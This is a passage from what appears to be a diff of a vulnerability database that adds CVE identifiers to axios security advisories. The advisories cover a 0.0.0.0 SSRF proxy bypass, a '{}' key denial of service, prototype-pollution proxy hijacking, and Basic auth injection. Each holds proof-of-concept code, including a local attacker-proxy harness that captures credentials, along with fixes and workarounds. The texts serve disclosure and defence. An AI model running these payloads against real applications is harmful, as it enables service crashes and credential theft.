`127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n
\nOriginal Report\n\n### Summary\n`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`>= 1.15.0, <= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 — static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set\n if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0\n return isIPv6Loopback(host);\n};\n\nisLoopback('0.0.0.0') returns false.\n\nNode's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n'use strict';\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised\nconsole.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)\nconsole.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true\nconsole.log(isLoopback('127.0.0.1')); // → true ← correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0 ← NOT normalised by URL parser\n127.0.0.1 ← octal normalised correctly\n127.0.0.1 ← decimal normalised correctly\nfalse ← 0.0.0.0 not detected as loopback ⚠\ntrue ← 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n…can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set(['localhost']);\n+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) => host === '0.0.0.0';\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n if (isIPv4Loopback(host)) return true;\n if (isIPv4Unspecified(host)) return true; // add this line\n return isIPv6Loopback(host);\n};\n
", "info": [ @@ -9497,7 +9539,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "details": "## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n key = metaTokens ? key : key.slice(0, -2);\n value = JSON.stringify(value);\n }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth > maxDepth) {\n throw new AxiosError(\n 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n const head = {};\n let cur = head;\n\n for (let i = 0; i < depth; i += 1) {\n cur.x = {};\n cur = cur.x;\n }\n\n return head;\n}\n\ntry {\n toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n
\nOriginal Report\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData`\n- `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value && !path && typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth > maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) => {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": <8000-deep object>}\n// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d > maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v && typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () => Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n
", "info": [ @@ -9520,7 +9565,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "details": "## Summary\n\nAxios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from './index.js';\nimport http from 'node:http';\n\nfor (const key of [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n]) {\n delete process.env[key];\n}\n\nconst listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n});\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) => {\n targetHits.push(req.url);\n res.end('target');\n});\n\nconst proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n authorization: req.headers.authorization,\n host: req.headers.host,\n body\n });\n res.setHeader('content-type', 'application/json');\n res.end('{\"server\":\"proxy\"}');\n });\n});\n\nObject.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n\ntry {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const res = await api.post(\n url,\n {secret: 'request-body-secret'},\n {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}\n );\n\n console.log({\n response: res.data,\n targetHits,\n proxyHits,\n finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')\n });\n} finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with the application.\n\n
\nOriginal Report\n\n## Summary\n\n Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n ## Impact\n\n In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n request interceptor that returns a plain object copy of the config.\n\n Verified local impact:\n\n - Authenticated request redirection to attacker-controlled proxy.\n - Disclosure of explicit Authorization headers.\n - Disclosure of axios-generated Basic auth headers from config.auth.\n - Disclosure of request metadata: method, absolute URL, Host header.\n - Disclosure of POST body content.\n\n This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n ## Affected component\n\n The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n The issue requires:\n\n - Node.js HTTP adapter usage.\n - A polluted Object.prototype.proxy.\n - A request interceptor that returns a plain object copy of the config.\n - No own proxy: false or safe own proxy property on the request config.\n\n ## Affected versions\n\n Confirmed affected for this specific hardening-bypass variant:\n\n - axios@1.15.2\n - axios@1.16.0\n\n axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n Related older behavior observed during testing:\n\n - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n ## Root cause\n\n 1. Initial hardening\n\n Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n 2. Interceptor re-materialization\n\n Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n prototype config back into a normal object with Object.prototype as its prototype.\n Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n 3. No post-interceptor re-hardening\n\n Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n 4. Prototype-chain read of proxy in the Node adapter\n\n The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n redirect the outgoing authenticated request through an attacker-controlled proxy.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n ## Why this is a security issue and not intended behavior\n\n Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n ## Realistic threat model\n\n A realistic exploit chain is:\n\n 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n 4. The application sends an HTTP request with credentials or sensitive body data.\n 5. Axios routes that request through the inherited proxy configuration.\n\n This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n ## Proof of concept\n\n Save as poc.mjs in the axios repository root:\n\n```js\n import axios from './index.js';\n import http from 'node:http';\n\n const proxyEnvKeys = [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n ];\n\n for (const key of proxyEnvKeys) delete process.env[key];\n\n const listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n });\n\n const close = (server) => new Promise((resolve) => server.close(resolve));\n\n const targetHits = [];\n const proxyHits = [];\n\n const target = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n targetHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'target'}));\n });\n });\n\n const proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n host: req.headers.host || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'proxy'}));\n });\n });\n\n Object.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n };\n\n const api = axios.create();\n\n api.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n }));\n\n try {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const explicit = await api.get(url, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const basic = await api.get(url, {\n auth: {username: 'svc-account', password: 'prod-secret'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const post = await api.post(url, {secret: 'request-body-secret'}, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n console.log(JSON.stringify({\n explicitResponse: explicit.data,\n basicResponse: basic.data,\n postResponse: post.data,\n targetHits,\n proxyHits,\n finalConfigPrototype:\n Object.getPrototypeOf(post.config) === Object.prototype\n ? 'Object.prototype'\n : 'other',\n finalConfigHasOwnProxy:\n Object.prototype.hasOwnProperty.call(post.config, 'proxy')\n }, null, 2));\n } finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n }\n```\n\n Run:\n```bash\n npm ci\n node poc.mjs\n```\n\n ## Observed results\n\n Representative observed output from local loopback testing:\n\n```text\n\n {\n \"explicitResponse\": {\"server\": \"proxy\"},\n \"basicResponse\": {\"server\": \"proxy\"},\n \"postResponse\": {\"server\": \"proxy\"},\n \"targetHits\": [],\n \"proxyHits\": [\n {\n \"url\": \"http://127.0.0.1:40613/api/secret\",\n \"method\": \"POST\",\n \"authorization\": \"Bearer EXPLICIT_SECRET\",\n \"host\": \"127.0.0.1:40613\",\n \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n }\n ],\n \"finalConfigPrototype\": \"Object.prototype\",\n \"finalConfigHasOwnProxy\": false\n }\n\n Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n {\n \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n }\n\n```\n\n That value decodes to:\n\n svc-account:prod-secret\n\n Negative controls were also tested:\n\n - No interceptor: target receives request, proxy receives none.\n - Interceptor mutating and returning the same config object: proxy receives none.\n - Own proxy: false: proxy receives none.\n - Null-prototype clone interceptor: proxy receives none.\n - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n ## Suggested remediation\n\n Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n ## Minimal regression test\n\n Add an end-to-end Node HTTP adapter test that:\n\n 1. Starts a target server and attacker proxy on 127.0.0.1.\n 2. Sets Object.prototype.proxy to the attacker proxy.\n 3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n 4. Sends a request with an Authorization header.\n 5. Asserts the target server receives the request.\n 6. Asserts the attacker proxy receives no request.\n 7. Asserts the final config no longer exposes inherited proxy.\n\n A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n ## References / permalinks\n\n - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n
", "info": [ @@ -9542,7 +9590,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "details": "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject 